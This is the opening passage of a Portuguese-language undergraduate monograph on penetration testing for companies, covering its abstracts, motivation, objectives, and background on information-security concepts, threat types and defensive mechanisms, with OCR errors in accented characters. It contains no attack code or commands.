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RESUMO

Com a evolucdo da tecnologia, novos dispositivos sdo criados, mais usuarios se conectam
a Internet e passam a ser dependentes. Black hats descobriram que a informacéo e dados
possuem valor para usuarios e empresas e utilizam o conhecimento para fins ilicitos,
roubando dados, deixando empresas totalmente inoperantes apds atagues, conseguindo
lucro ou até vantagem competitiva. Sabendo que nenhum sistema é totalmente seguro,
criminosos estdo em busca de falhas para inovar cada vez mais em seus ataques e apenas
as grandes e médias empresas se preocupam com a seguranca, algumas médias e
pequenas sé se preocupam quando sofrem algum tipo de prejuizo resultante de uma falha
de seguranca da informagdo. Mesmo que as empresas invistam em seguranga é necessario
aplica-la corretamente, podendo uma vulnerabilidade explorada comprometer todo o
ambiente corporativo. A seguranca da informacdo é uma &rea da Computacdo que tem
como objetivo proteger sistemas e dispositivos contra possiveis ameacas utilizando a
prevencgdo e normas internacionais recomendadas por especialistas na area. Desconhecido
por muitas empresas, 0 Pentest permite testar o nivel de protecdo delas, testando todo o
ambiente, simulando um ataque real de um criminoso e mensurando 0 risco e as
consequéncias desses ataques. O Pentest é realizado cuidadosamente entre contratante e
contratado para garantir que nenhum dos seus servigos pare enquanto séo realizados os
testes, ainda pode utilizar uma sequéncia baseada em determinadas metodologias, a
depender da necessidade do cliente. Diante desse cenario, nesta monografia, é discutida e
proposta a utilizacdo de teste de intrusdo na prevencdo de ataques cibernéticos as
organizacBGes. O trabalho mostrou que foi possivel realizar testes de segurangca em
ambientes computacionais de uma empresa, que ocasionariam vazamento, alteracdo e
destruicdo de informacOes, tanto da empresa quanto de todos os seus clientes, caso
fossem descobertos por um black hat. Foram exploradas falhas reais no ambiente
computacional de uma empresa, que ndo tinha a cultura de protecdo das suas
informacdes. O trabalho teve como objetivo principal demonstrar um método de analise
de falhas de seguranca (Pentest) e a utilizacdo de algumas técnicas de invasao utilizadas
por black hats, que se implementados por equipes de seguranca auxiliardo na prevencao
de ataques baseados neste tipo, também a conscientizar as organizagbes que devem
cultivar uma cultura de protecdo de seus dados, pois mesmo com toda seguranca
necessaria, nenhum sistema € totalmente seguro. Como resultados houveram falhas que
puderam ser exploradas e consequentemente poderiam causar danos como: acesso deixar
os sistemas da empresa inutilizaveis, destruicdo alteracdo e roubo de dados, divulgacdo
de dados pessoais sem autorizacdo, e caso estes riscos ocorressem, traria como
consequéncia perdas incalculaveis Apds os testes a empresa se prontificou em investir na
seguranca e corrigir as falhas.

Palavras-chave: Seguranca da Informacdo, Ataques, Empresas, Teste de Intrusdo,
Pentest.



ABSTRACT

With the evolution of technology, new devices are created, more users connect to the Internet
and become addicted. Black hats have found that information and data are valuable to users
and businesses and use knowledge for illicit purposes, stealing data, leaving companies totally
inoperable after attacks, achieving profit or even competitive advantage. Knowing that no
system is totally safe, criminals are looking for failures to innovate more and more in their
attacks and only the big and medium companies are concerned about security, some medium
and small only care when they suffer some type of damage resulting from a security breach of
information. Even if companies invest in security it is necessary to apply it correctly, and an
exploited wvulnerability can compromise the entire corporate environment. Information
security is an area of computing that aims to protect systems and devices against potential
threats using the international standards and prevention recommended by experts in the field.
Unknown to many companies, Pentest allows them to test their level of protection by testing
the entire environment, simulating a real attack by a criminal, and measuring the risk and
consequences of such attacks. Pentest is carefully carried out between contractor and
contractor to ensure that none of your services stop while the tests are performed, you can still
use a sequence based on certain methodologies, depending on the customer's needs. Given
this scenario, in this monograph, it is discussed and proposed the use of intrusion testing in
the prevention of cyber-attacks to organizations. The work showed that it was possible to
carry out security tests in a company's computing environments, which would lead to the
leakage, alteration and destruction of information from both the company and all its
customers if they were discovered by a black hat. Real flaws were exploited in the computing
environment of a company, which did not have the culture to protect its information. The
main objective of the work was to demonstrate a method of security failure analysis (Pentest)
and the use of some invasion techniques used by black hats, which if implemented by security
teams will help to prevent attacks based on this type, organizations that must cultivate a
culture of protection of their data, because even with all necessary security, no system is
totally safe. As results there were flaws that could be exploited and consequently could cause
damages such as: access leaving company systems unusable, destruction of data alteration and
theft, disclosure of personal data without authorization, and if these risks occurred, would
result in incalculable losses. Tests the company has been willing to invest in security and fix
the flaws.

Keywords: Security Information, Pentest, Attacks, Companies, Penetration Test .
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1 Introducao

1.1 Contextualizacéo

Com o avanco da tecnologia e globalizacdo, dispositivos estdo cada vez mais
conectados a Internet, com dados e informacdes trafegando pela rede, consequentemente, é
imprescindivel a adogdo de algum tipo de protecdo. Segundo Nakamura e Geus (2010), hoje
em dia a maioria dos sistemas sdo distribuidos, levando a muitas pessoas e organizacGes
dependerem da Internet, ou seja, € uma gigantesca rede de computadores conectados em todo o
mundo. A difusdo desses sistemas envolve a utilizacdo de diversos servi¢cos, como, por
exemplo, E-Business, E-Contracting, E-Government, E-Learning e E-Voting. Tais termos estdo
cada vez mais frequentes no cotidiano, dando origem a uma “sociedade da informacao”
(NAKAMURA,; GEUS, 2010).

Quando se fala em seguranca, de modo geral, remete-se ao ato de proteger um bem de
alguma possivel ameaca: perda, dano ou roubo. A informacdo é uma cole¢do de dados que
possuem valor, tanto para uma empresa quanto para uma pessoa, entretanto, com o avango da
tecnologia ela esta em todo lugar e os criminosos sabem que essas informacdes possuem valor,
seja financeiro ou inestimavel ao proprietario.

Essas pessoas, aproveitando-se de vulnerabilidades existentes em sistemas, usam seu
conhecimento para cometer crimes, como sera Vvisto nos proximos topicos, que invadir qualquer
bem, seja informatico ou nao, é crime. Segundo Moreno (2015), Longatto, Giavaroto, Santos
(2013) e Weidman (2014), tais pessoas que fazem esse tipo de agdo sem autorizacdo, recebem
varias nomenclaturas: atacantes, criminosos, hackers e crackers, por exemplo. Como
padronizacdo, os autores referem-se ao o termo black hat! (chapéu negro) como sinénimo
dessas palavras as pessoas que cometem esses tipos de acdes ilicitas em ambientes cibernéticos.
Assim como, existem pessoas que usam seu conhecimento com ética, ganhando dinheiro de
forma licita, com o objetivo de proteger sistemas, algum bem cibernético ou realizar servi¢os
de protecdo. Essas pessoas sé@o classificadas pelos autores como etchicalhacker ou white hat,

mas nesta pesquisa serdo mencionadas pelo termo Pentester.

1 Os termos “White Hat” e “Black Hat” foram inspirados nos filmes classicos de faroeste, em que o vildo sempre vestia chapéu preto e o herdi,
chapéu branco. No contexto da tecnologia, esses termos sdo usados para designar dois extremos de préaticas digitais, que podem ser bem ou
mal intencionadas e, em alguns casos, até ilegais.
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Ainda para Nakamura e Geus (2010), o aumento de dispositivos conectados nessa rede
de nivel global, as informagdes e os negdcios contidos nas empresas, tornam-se passiveis de
ameacas e ataques. Com o passar dos anos, muitas empresas e organiza¢Ges vem contribuindo
com técnicas para a protecédo de sistemas e padrdes de seguranca internacionais, com o objetivo
de aumentar o nivel de protecdo das mesmas. Apesar dos esfor¢os, ainda é muito dificil deixar
um sistema completamente seguro. Sendo assim, as principais vitimas sdo as empresas €, em
seguida, os usuarios, pois black hats sabem que a maior parte das empresas possui informacdes
sigilosas em suas bases de dados como, por exemplo, dados de usuarios, CPFs, logins e senhas,
por isso, essas informagdes podem ser utilizadas para diversos fins lucrativos.

Por outro lado, apesar de criminosos descobrirem como fazer dinheiro com estas
informacdes, a maioria dos usuarios ndo se preocupa tanto com a seguranga por terem pouco
conhecimento e instrucdes de como deixar seus dados protegidos. Por isso, essa batalha entre
ataque e defesa é constante, a cada dia novos ataques sdo inovados através de falhas
descobertas em software ou novas taticas de exploracdo dessas falhas e as empresas devem
correr atras de solucdes que diminuam os riscos. Nesse sentido, Nakamura e Geus (2010)

postulam que:

“A necessidade de seguranca é um fato que vem transcendendo o
limite da produtividade e da funcionalidade. Enquanto a velocidade e
a eficiéncia em todos os processos de negdcios significam uma
vantagem competitiva, a falta de seguranga nos meios que habilitam a
velocidade e a eficiéncia pode resultar em grandes prejuizos e falta de
novas oportunidades de negocios.” (NAKAMURA; GEUS, 2010, p
10.)

Black hats podem utilizar esses dados para fazer compras se passando pelos donos das
informac0es, divulgar os dados abertamente na Internet, entre outros. Ha relatos também de
empresas que tentam acessar dados de suas concorrentes com o objetivo de obter vantagem
competitiva no mercado.

Assim, quando uma empresa tem seus dados vazados, querendo ou nao ela perde
credibilidade, seja no mercado ou com 0s usuarios dos seus servi¢cos. Tem-se como exemplo a
corretora XP Investimentos, que com 29 mil clientes, sofreu um ataque de roubo de sua base de
dados em 2013, em que os blackhats conseguiram extorquir aproximadamente R$500.000, de
trés desses clientes. Assim como em 2017, entraram em contato com o dono da mesma
empresa exigindo 22,5 milhdes em moedas virtuais, caso contrario, segundo as ameacas,
levariam a empresa a faléncia. A XP informou que esses trés clientes foram ressarcidos, e que
nenhum teve prejuizo com essa fraude.

Utilizando seu conhecimento para o mal, os blackhats varrem a Internet em busca de

maquinas que possuem algum tipo de vulnerabilidade e direciona seus ataques ao elo mais
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fraco, ou seja, as que possuem falhas que possam ser exploradas mais facilmente e se houver
uma Unica “brecha”, isso ja basta para uma possivel obtencdo de acesso ndo autorizado as
informacdes. Sabendo disto, a seguranca da informacdo visa a protecdo das informacgdes no
meio cibernético, no sentido da preservacédo e do valor que as informagfes possuem para um
usuario ou uma organizacdo. Por isso, deve garantir que as informacBes ndo possam ser
acessadas por terceiros sem a devida autorizacdo, ser alterada no meio do trajeto entre
remetente e destinatario ou ficar indisponivel para usuarios autorizados, esses atributos sao
conhecidos como os trés pilares da seguranca da informacdo (STALLINGS; BROWN, 2014).

Apesar desses problemas, muitas empresas ndo investem em seguranca e as que
investem ndo fazem corretamente, como mostra uma pesquisa realizada pela empresa
Dimensional Research, solicitada pela Dell (Dell, 2016), em que 97% das grandes empresas
investem em tecnologia da informacdo, mas apenas 18% investem em seguranca. Com o
aumento desses ataques cibernéticos em todo o mundo, foram estimados em um estudo pela
empresa Cyber Handbook da Marsh & McLennan Companies (MMC), que até 2019 o prejuizo
de ataques virtuais chegara a uma estimativa de US$ 2,1 trilhGes ou R$ 6,5 trilhdes (Marsh,
2017).

Com o passar dos anos, o0s tipos de ataques ficam cada vez mais sofisticados, for¢ando
as empresas a procurarem solugfes para manterem seus dados seguros. As empresas de
solucdes de seguranca sao as que mais pesquisam técnicas e tecnologias para neutralizar esses
novos ataques, mas isto nao é suficiente. A empresa russa Kaspersky Labs, umas das
referéncias mundiais em seguranca cibernética, afirma que nos primeiros oito meses de 2017,
sO na América Latina, ocorreram 33 ataques por segundo, um total de 677.216.773 ataques até
0 més de agosto, representando um aumento de 68% em relacdo ao ano de 2016. O Brasil € 0
pais que tem o maior risco em termos per capita de sofrer ataques, cerca de 30%, em seguida,
Honduras (23,5%), Panama (22,6%), Guatemala (21,6%) e Chile (20,6%) (Kaspersky Labs,
2017).

Por causa desses dados alarmantes, ha uma grande preocupacdo das empresas em
manterem seus dados seguros, para evitar esses tipos de prejuizos. Uma das solucBes de
seguranca que ajudam as empresas a aumentar o nivel de seguranga é o Pentest (do inglés,
Penetration Test), que significa teste de invasdo ou teste de intrusdo. A pessoa responsavel por
realizar o Pentest é 0 Pentester, que possui conhecimento equivalente a um hacker, mas usa seu
conhecimento e servicos de forma ética, Unica diferenca entre eles.

Sendo assim, o Pentest tem como objetivo simular um ataque real se passando por um

hacker, a fim de relatar quais vulnerabilidades uma empresa possui e sendo assim corrigi-las. E
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uma antecipacdo de um ataque real, pois sdo utilizadas praticamente todas as ferramentas e
técnicas de um atacante mal-intencionado. Vale ressaltar que a invasdo de dispositivo

informatico sem autorizacdo € crime e é definido pela Lei n® 12.737, como se pode observar:

“Art. 154-A. Invadir dispositivo informético alheio, conectado ou néo
a rede de computadores, mediante violacdo indevida de mecanismo de
seguranca e com o fim de obter, adulterar ou destruir dados ou
informacBes sem autorizacdo expressa ou tacita do titular do
dispositivo ou instalar vulnerabilidades para obter vantagem ilicita:
Pena - detencdo, de 3 (trés) meses a 1 (um) ano, e multa”.

O Pentest € um servico prestado a uma empresa, que serve para medir o nivel de
seguranca do ambiente em que sera realizado, a empresa especifica quais ambientes poderdo
ser analisados e realizados os testes de invasdo. O trabalho é realizado em ambiente real e
realiza os testes com o0 objetivo de encontrar falhas e exploréa-las para auxiliar na prevencéo de
ataques as empresas, em variados ambientes, e no final detalhar em um relatério as
especificacbes de quais vulnerabilidades foram encontradas e exploradas e definicdo de
recomendac0es para corrigi-las.

Nas proximas se¢des serdo apresentados os seguintes topicos: Objetivos Gerais e
Especificos; Problema, Motivacdo e Justificativa; Materiais e Métodos; e Conclusao.

1.2 Problema, Motivacéo e Justificativa

Os ataques cibernéticos a ambientes corporativos estdo mais comuns e crescendo a
cada dia. Como as empresas podem aumentar a seguranca sobre suas informacdes? Uma vez
que os ataques mudam constantemente e grande parte das empresas ndo investe em seguranca
corretamente.

Diante da problematica de solucdes que melhorem a seguranca da informacédo, em
especial no ambito das organizac6es, impulsiona-se o desenvolvimento desta pesquisa. Assim,
ela sera direcionada aos estudos de utilizacdo do Pentest.

Como exposto, o fato de inimeras pequenas e médias empresas ndo conhecerem ou
apenas procurarem solucOes de seguranca ao sofrerem algum tipo de ataque que acaba
comprometendo o funcionamento do servi¢o ou quando ndo adotam uma politica de seguranga
eficiente, a aplicacdo de Pentest permite mensurar o nivel de seguranca de uma empresa,
através da contratacdo de um Pentester para realizar ataques reais simulando um criminoso,

promovendo um servico que podera verificar o nivel de seguranca de empresas que a
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desconhece e, consequentemente, auxilia-las a dificultar cada vez mais crimes envolvendo seus
dados e informacdes.

Nesse cendario, cada vez mais dados e informacdes digitais passam a ter valor
comercial e black hats conseguem de muitas formas obterem informag6es se aproveitando de
falhas ndo corrigidas dos sistemas computacionais, inovando os ataques e métodos para obter
acesso nao autorizado a esses sistemas. Ja as empresas sabem que se alguém obtiver acesso nao
autorizado podem causar diversos prejuizos, pois muitas dependem desses dados, por vezes
sigilosos, para se estabelecerem no mercado e evoluirem. Entretanto, apenas grandes e algumas
médias empresas sdo as que destinam investimentos em seguranca. Por isso, a importancia da
utilizacdo de Pentest para auxiliar na prevencéo e correcdo das ameagas existentes na Internet e
falhas no ambiente corporativo, levando em consideracdo o baixo investimento em sua adogao

em relacdo ao prejuizo de um ataque concretizado a uma organizacao.

1.3 Objetivos

Como objetivo geral pretende-se demonstrar a utilizacdo de um Pentest para relatar e
explorar as vulnerabilidades de uma empresa.
Para alcancar esse objetivo, tém-se 0s seguintes objetivos especificos:
Mostrar a importancia de um Pentest para uma empresa;
Definir o escopo dos testes de invasao;
Definir qual metodologia a ser adotada para os testes;
Analisar as ferramentas a serem adotadas;
Reunir informacGes sobre o alvo que sera testado;

Testar as vulnerabilidades definidas nos ambientes propostos;

N o g k~ wDd e

Testar os ambientes da rede interna e rede Wireless da empresa, mais propensos a
ataques;

8. Explorar as vulnerabilidades encontradas;

9. Ganhar acesso a fim de simular o comprometimento total do ambiente;

10. Criar um relatério final, com as etapas do processo do Pentest, vulnerabilidades
encontradas e tipos de ataques efetuados; e

11. Analisar os dados referentes aos testes e definir maneiras de evitar os ataques.
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2 Referencial Teorico

2.1 Seguranca da Informacao

A seguranca da informacdo visa a protecdo das informacdes de computadores e
dispositivos, para usuarios e organizacdes. Hoje, sabemos que muitos dispositivos como:
computadores, smartphones, cartdes de banco, dispositivos inteligentes, cameras de segurancga
etc., sdo alvos dos criminosos. Essa é uma area da computacao que visa a protecdo destes, por
meios de normas padronizadas internacionalmente.

O Computer Security Handbook (“Livro de Bolso de Seguranca de Computadores”™)
do NISTN [IST95] define a expressdo seguranca de computadores da seguinte maneira:

“seguranca de computadores: a protecdo oferecida para um sistema de
informacdo automatizado a fim de alcangar os objetivos de preservar a
integridade, a disponibilidade e a confidencialidade dos recursos do
sistema de informacdo (incluindo hardware, software, firmware,
informacBes/dados e telecomunicacgdes).”

J& Giavaroto e Santos (2013) diz que a seguranca da informagdo tem como objetivo a
protecdo dos bens ativos de uma empresa, uma vez que as informacOes destes bens estdo
embutidas dentro de todos os processos da mesma, que é um elemento essencial na tomada de
decisbes e que, como consequéncia do uso dessas informacgdes, podem ser gerados ganhos ou
perdas. Ou seja, as manipulacdes dessas informagfes podem levar a empresa ao Sucesso ou
fracasso, dependendo da estratégia utilizada.

A seguranca da informacéo é baseada em trés principios ou pilares (Figura 2.1) como
alguns autores costumam classificar, que séo: Confidencialidade, Integridade e Disponibilidade
(CID). Séo os principios basicos para que garanta que a informacéo esteja segura:

Confidencialidade é a garantia que as informacdes sejam preservadas e restritas, e
autorizadas apenas para quem possui 0 acesso. Um exemplo de confidencialidade é o uso de
criptografia. Um exemplo de quebra de confidencialidade é o acesso ndo autorizado ou invaséo
de um sistema computacional protegido por senha.

A integridade garante que a informacéo deve estar integra, ou seja, sem alteracdes,
que seja confiavel e ainda verificavel. Um exemplo de integridade € o uso de criptografia. Um
exemplo de quebra de integridade é a alteracdo ou destrui¢do das informagdes.

A disponibilidade garante que as informacdes estejam sempre disponiveis para 0s

usuarios autorizados. Um exemplo de disponibilidade, é o servico ou site se manter 24 horas
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online, para que os usuarios possam utiliza-lo sempre que acharem necessario. Um exemplo de
quebra de disponibilidade é um ataque de negacdo de servico em um servidor que forneca este
sistema, e faca com que ele pare por um determinado tempo ou uma falha de hardware ou

sistema, impossibilitando dos usuarios acessarem.

Figura 2.1 — Triade Confidencialidade, Integridade e Disponibilidade

Dados

CECTVIGOS

\ Disponmibilidade

Fonte: (STALLINGS; BROWN, 2014)

Além disso, Stallings e Brown (2014) demonstram que existem mais dois conceitos
gue Sdo necessarios para que possa complementar essa seguranca, sdo eles: autenticidade, que
diz respeito as informacdes serem verificaveis, validaveis e de fonte confiavel, entre emissor e
receptor. Como também, Determinacdo de Responsabilidade: Tém como objetivo determinar
responsabilidades de seguranga para as entidades, ou seja, se for relatado que algum incidente
aconteceu, tem que ser possivel identificar de qual equipamento ou local o ataque foi efetuado,
garantindo assim que acdes judiciais possam ser tomadas ap0s uma acdo. Como ndo existe
nenhum sistema 100% seguro, devemos ter a possibilidade de rastreio de uma violagdo de
seguranca.

Ainda segundo os autores, 0s recursos do sistema sao os bens ativos que as empresas e
usuarios querem proteger, e que sdo divididos em: (i) hardware (bens fisicos, sistemas de
computadores e outros dispositivos de processamento de dados e transmissdo, como
smartphones, tablets); (ii) software (bens l6gicos como sistemas operacionais e aplicaces);
(iii) dados (inclui banco de dados, dados de usudrios, senhas e arquivos); e (iv) instalaces de
redes e enlace (bens que compdem a rede e enlaces, como: roteadores, repetidores, cabos e
redes internas).

Existem alguns termos sobre seguranca da informacdo, segundo Stallings e Brown
(2014), séo eles:
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Ataque - No ambito da seguranca da informacéo, pode-se dizer que é a acdo que uma
ameaca pode realizar, com o objetivo de causar algum dano a um sistema, ou bem;
Vulnerabilidade - Falha ou fraqueza de um determinado sistema, que pode ser
explorada por uma ameaca;

Ameaca - E um agente externo, que tem como objetivo explorar uma vulnerabilidade do
sistema;

Impacto - E o dano ap6s um ataque bem-sucedido, pode ser medido e dividido em
categorias de acordo com a intensidade do dano causado ao sistema, dentre as divisdes
estdo, insignificante, pequeno, medio, alto e catastrofico;

Auditoria - E a capacidade de um sistema ser revisado e examinado através de registros,
que servem para atribuir responsabilidade ao sistema auditado. E utilizada para verificar
se 0 sistema a auditado estd cumprindo as normas de seguranga dessa empresa.
Também utilizada para saber o que ocorreu durante um determinado periodo naquele
sistema;

Privacidade - O sistema deve manter os dados privados impedindo acesso externo, e
que 0 usuario e suas acdes ndo sejam vistas por outro usuario garantindo o anonimato
dependendo das regras impostas a esse sistema; e

Contramedida - E uma determinada acio a ser tomada pela equipe responsavel pela
seguranca da empresa, quando um determinado ataque € identificado, ou quando uma

das normas de seguranca nédo é seguida corretamente.

Ameacas

Ameacas nada mais sdo do que a possibilidade de um potencial para a violagdo de

uma seguranca, um perigo que pode explorar uma vulnerabilidade. De acordo com Stallings e

Brown (2014), as ameacas sdo divididas em quatro tipos, e dentro delas existem as acGes de

ameacas que podem ser efetuadas nos ataques.

Revelacdo ndo autorizada acontece quando uma entidade consegue acesso nao

autorizado aos dados, ameacando & confidencialidade dos dados. E os tipos de ataques que

podem resultar sdo os seguintes:

A exposicao pode ser ocasionada quando um atacante obtém acesso as informacoes e

dados e expbe de forma deliberada na internet, ou pode ser ocasionada por um erro de

hardware e ou software ou erro humano.
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A interceptacdo acontece quando um atacante realiza um ataque que intercepta os e
captura cépias dos dados trafegados em uma rede, podendo ser uma rede local ou na internet.

Interferéncia é quando analisado o trafego de dados o atacante pode obter
informagdes apenas com essa analise. Ou analisando um banco de dados, utiliza requisi¢fes
para conseguir alguma informacgédo. Um exemplo disso seria 0 uso de um sniffer de rede para
analise de pacotes.

A intrusdo acontece quando o atacante obtém acesso nao autorizado a sistemas e
dados sensiveis, burlando os mecanismos de protecéo.

Fraude seria um evento que possa se passar por um tipo de entidade autorizado,
passando informacdes falsas com impressdo de serem verdadeiras, como meio de enganar a
entidade de seguranca ou a receptora das informacgdes. Seria uma ameaca ao pilar da
integridade dos dados. E dividido em:

e Personificacdo - Uma entidade ndo autorizada obtendo acesso se passando por uma

entidade autorizada para realizar algo malicioso. Um exemplo seria a execucdo de
um cavalo de troia, que se passa por um programa confidvel permitindo que o
atacante obtenha acesso ndo autorizado ao sistema;

e Falsificacdo - E a utilizacio de dados falsos em uma entidade para engana-la. Um
exemplo seria a inser¢do de dados em um sistema que contém um banco de dados
com as notas de um aluno nessa escola, o atacante utilizaria um acesso nao
autorizado para manipular essas notas de forma criminosa; e

o Retratacdo (ou repudio) - Uma entidade nega o envio ou recebimento de dados ou
informagdes para outra. Um exemplo seria 0 atacante esconder seus rastros na
maquina alvo para nao ser descoberto de onde teria vindo os ataques.

A disrupcdo é um evento que bloqueia o funcionamento correto dos sistemas e
servicos, € uma falha que ameaca a disponibilidade e ou integridade das informac@es. Tipos de
ataques que podem ser resultar a partir desta ameaga:

e Incapacitacdo - E um tipo de ataque que compromete a disponibilidade do sistema,

podendo ser um ataque que incapacita o hardware, componentes (fisicos), software
e sistemas. Causado por virus e ameagcas fisicas;

e Corrupcio - E o tipo de ataque que compromete a integridade dos sistemas,
promovendo modificacdes de dados ou servigos em um sistema. Exemplo um
software malicioso com o objetivo de abrir portas e diminuir a seguranca do

sistema para possiveis ataques; e
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e Obstrugédo - Um tipo de ataque que para ou interrompe o funcionamento correto do
sistema, esse tipo de ataque pode sobrecarregar o trafego de informacdes ou elas
ndo chegando ao destinatario, atrapalhando a comunicacao.

Usurpacdo é a ameaca de integridade do sistema, é o resultado de um evento que

controla o sistema por uma entidade nédo autorizada.

e Apropriacdo indevida - Uma entidade ndo autorizada assume o controle 16gico ou
fisico do sistema. Um exemplo seria um ataque de negacgdo de servico (DDoS, do
inglés Distributed Denial of Service) que utiliza m&quinas escravas para realizar
um ataque em massa, nesse caso 0 atacante faz uso ndo autorizado do processador e
recursos da maquina infectada; e

e Utilizacdo indevida - Faz com que algum componente do sistema realize alguma
funcdo ndo autorizada e que seja prejudicial a seguranca do sistema. O atacante
obtém acesso ndo autorizado a uma maquina através de software maliciosos,

limitando ou diminuindo a seguranca do sistema, por exemplo.

2.3 Mecanismos de protecao e técnicas de defesa

Existem mecanismos que ajudam a proteger e aumentar a seguranga nos sistemas
computacionais, podem ser divididos em software, hardware ou meios baseados em estratégias
com o objetivo de prevenir, identificar ou utilizar uma agéo reativa em meio a um ataque
sofrido.

Segundo Nakamura e Geus (2010), a politica de seguranca s@o normas implementadas
em uma organizacdo, com o objetivo de gerenciar todos os recursos tecnolégicos de uma
organizacdo como também os humanos e culturais, levando em consideracdo as normas e
processos, negocios e leis locais. Ela é o alicerce da seguranga na organizacgao, pois sem uma
politica de segurancga, é praticamente impossivel aplicar normas que garantam a seguranca dos
ativos da empresa.

Firewall € um mecanismo de defesa, que pode ser implementado tanto em hardware
guanto em software, tem como objetivo proteger a rede contra 0s ataques externos,
funcionando como um tunel, filtrando as portas e protocolos que foi configurado pelo
responsavel da rede. A permissdo dos dados é feita atraves de regras implementadas,
concedendo ou blogueando servigos ou programas que utilizam determinadas portas para

transporte ou comunicagdo com outros servigos. Ele é geralmente, configurado manualmente,
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impedindo que ameacas possam atacar a rede, se configurado corretamente pode evitar varios
tipos de ataques. Seu nome traduzido ao pé da letra significa “muro de fogo” que literalmente é
uma barreira de protecdo entre sua rede e a Internet.

Criptografia € um tipo de protecdo, que garante o sigilo dos dados, impedindo a
quebra de confidencialidade e autenticidade das informagdes, funciona basicamente com uma
chave que os encripta?, deixando-os ilegiveis aos usuarios que nio possuem acesso autorizado,
com 0 objetivo de que ndo obtenham acesso e manipulem as informac6es trafegadas na rede.
Para que estes dados sejam desencriptados® é necessario, que o usuario receptor da informagéo
possua a chave para poder ter acesso ao dado legivel. Utiliza algoritmos matematicos, que
realizam indmeros célculos, que deixam as informacdes quase impossiveis de serem
restauradas ao formato original, sem a chave de desencriptacdo. Ela esta praticamente em todos
os ambientes tecnoldgicos, sendo um dos itens primordiais para seguranca da informacéo. E
implementado em software, hardware e ambientes de redes, por exemplo.

Virtual Private Network, ou mais conhecido como VPN, é um tipo de protegdo a
redes de computadores. E uma rede privada de comunicacdo que esta dentro de outra rede,
contendo apenas os dispositivos autorizados que a compdem. Utilizando tunelamento e
criptografia para garantir que outros dispositivos ndo obtenham acesso a rede e aos dados
trafegados na mesma, fornece a confidencialidade, integridade e autenticidade das informacdes
trafegadas. O tunelamento é uma pilha de protocolos de rede empilhados em varias camadas
como o modelo OSI, que garantem o envio ao destinatario, garantindo uma ligacdo direta sem
que os dados trafeguem em um caminho seguro.

Autenticacdo esta diretamente ligada a autenticidade das informacdes, ela é
responsavel para a garantia da identidade do usuario do sistema. Verifica se a pessoa ou
sistema que esta a solicitacdo de utilizacdo de um servico ou sistema, € realmente o usuario em
questdo. O método mais utilizado e comum é a utilizacdo de login e senha para um
determinado usuério, mas com o avango dos estudos de seguranca, existem inimeras formas de
garantir a autenticidade de um usuario, como, leitores biométricos, assinatura digital, tokens,
autenticacdo em dois fatores, perguntas de seguranca e Personal Identification Number (PIN).

O Antivirus é um software utilizado em sistemas operacionais, com 0 objetivo de
proteger programas maliciosos, funciona fazendo uma anélise da acdo de software que séo

executados no Sistema Operacional (SO), essa analise preliminar é chamada de heuristica, se

2 Processo de aplicacio de um algoritmo de criptografia, transformando um dado com texto claro em cifrado
3 Processo de aplicar uma chave criptografica para transformar o dado cifrado em legivel
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caso ele verificar a existéncia de algum tipo de cdédigo malicioso dentro do programa em
execucdo, ele bloqueia a agdo. Para anélise de codigos maliciosos também utiliza o banco de
dados da empresa que o desenvolveu para consultas de virus detectados em todo o mundo.
Atualmente € uma ferramenta indispensavel, pois com a medida que os ataques evoluem
constantemente, novos malwares, também sdo criados pelos black hats para burlarem as essas
protecgdes.

Sistemas de Deteccdo e Prevencdo de Intrusdo (IDS/IPS, do inglés Intrusion
detection System e Intrusion Prevention System) sdo0 mecanismos que podem ser
implementados tanto em hardware quanto em software, como, por exemplo, switches e
servidores, sdo sistemas que detectam e previnem 0s acessos ndo autorizados a rede. O IDS tem
como objetivo verificar se uma acdo é uma ameaca ao ambiente de rede, notificando ao
administrador de rede, que existe uma atividade maliciosa, ndo realiza nenhum bloqueio para
impedir essa acdo, ndo interferindo no fluxo da rede. O IPS é uma ferramenta com inteligéncia
de analisar identificar e tomar uma deciséo de bloquear ou ndo determinada agéo se for um
risco a seguranca da rede, ela funciona como a analise da rede de um IDS com um firewall. As
principais diferencas entre um IDS e IPS sdo que, o IDS é uma solucéo passiva de detec¢édo, ou
seja, detectando uma atividade suspeita, colocando em um log, e disparando um alerta, ja o IPS
é uma solucdo ativa de deteccdo, ele analisa a atividade coloca em um log e toma as medidas

cabiveis para protecdo da rede.

2.4 Seguranca nas Organizacoes

Em paises como Estados Unidos da América, especificamente em alguns estados, as
organizagOes sdo obrigadas por lei a reportarem ao governo qualquer tipo de ataque ocorrido,
isso tem como objetivo melhorar a seguranca nas organizagdes em geral, pois terdo ideia dos
tipos de ataques que os black hats estdo utilizando no momento, quantifica-los e pesquisar
meios de prevencéao.

No Brasil este cenario é completamente diferente, ndo existe lei obrigando nenhum
tipo de organizagdo a reportar os ataques sofridos ao longo do ano, consequentemente,
dificultando na prevencdo de ameagas, poiS COmMo surgem novos ataques, muitas empresas as
desconhecem ou s6 saberdo da existéncia apos algum tempo.

Em 2016, dados do relatério Global Information Security Survey (GISS) mostraram

que a grande parte das organizacdes brasileiras ndo se preocupa em fazer um investimento
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correto na seguranca da informacdo. Entre os empresarios entrevistados “63% afirmaram que
suas organizagdes ndo dispbem de programas para prevencdo de ameagas; outros 43%
apontaram a inexisténcia de programas de identificacdo de vulnerabilidades, e 45% disseram
nédo dispor de programas de deteccdo de brechas. O tempo levado para iniciar a investigacéo de
potenciais ameacas nessas empresas varia entre uma média 1 hora (36%) e mais de um dia
(15%)”. Muitas empresas tém receio de informar que sofreram ataques, pois pensam na perda
de credibilidade no mercado com seus clientes.

O CERT.br € um grupo de resposta a incidentes de Seguranca para Internet do Brasil,
mantido pelo NIC.br, que pertence ao Comité Gestor da Internet Do Brasil. Tém a finalidade de
tratar esses incidentes relacionados a seguranga de computadores de redes de computadores
conectados a Internet nacional. Funciona como uma ponte para a notificacdo dos incidentes de
seguranca, e a resposta de incidentes podendo colocar as partes envolvidas em contato. A

Figura 2.2 apresenta os incidentes reportados ao CERT.br no periodo de oito anos.

Figura 2.2 — Incidentes reportados ao CERT.br (2009 a 2016)

Valores acumulados: 1899 a 2016 novo

Total de Incidentes Reportados ao CERT.br por Ano
Ano total
2016 647.112
2015 722.205
2014 1.0847.631
2013 352.925

=
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Fonte: CERT .br (2017)

Na Figura 2.2, observa-se que o nimero de relatos de incidentes aumentou conforme o passar
dos anos, entre 2013 e 2014 triplicou, houve uma queda em 2015 e 2016 e isto pode ser atribuido aos

novos tipos de ataques que sdo criados e ndo relatados a esta entidade, como, por exemplo, um novo
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tipo de ameaca, 0 ransomware* que se propagou entre 2016 e 2017 no Brasil, segundo a Kaspersky
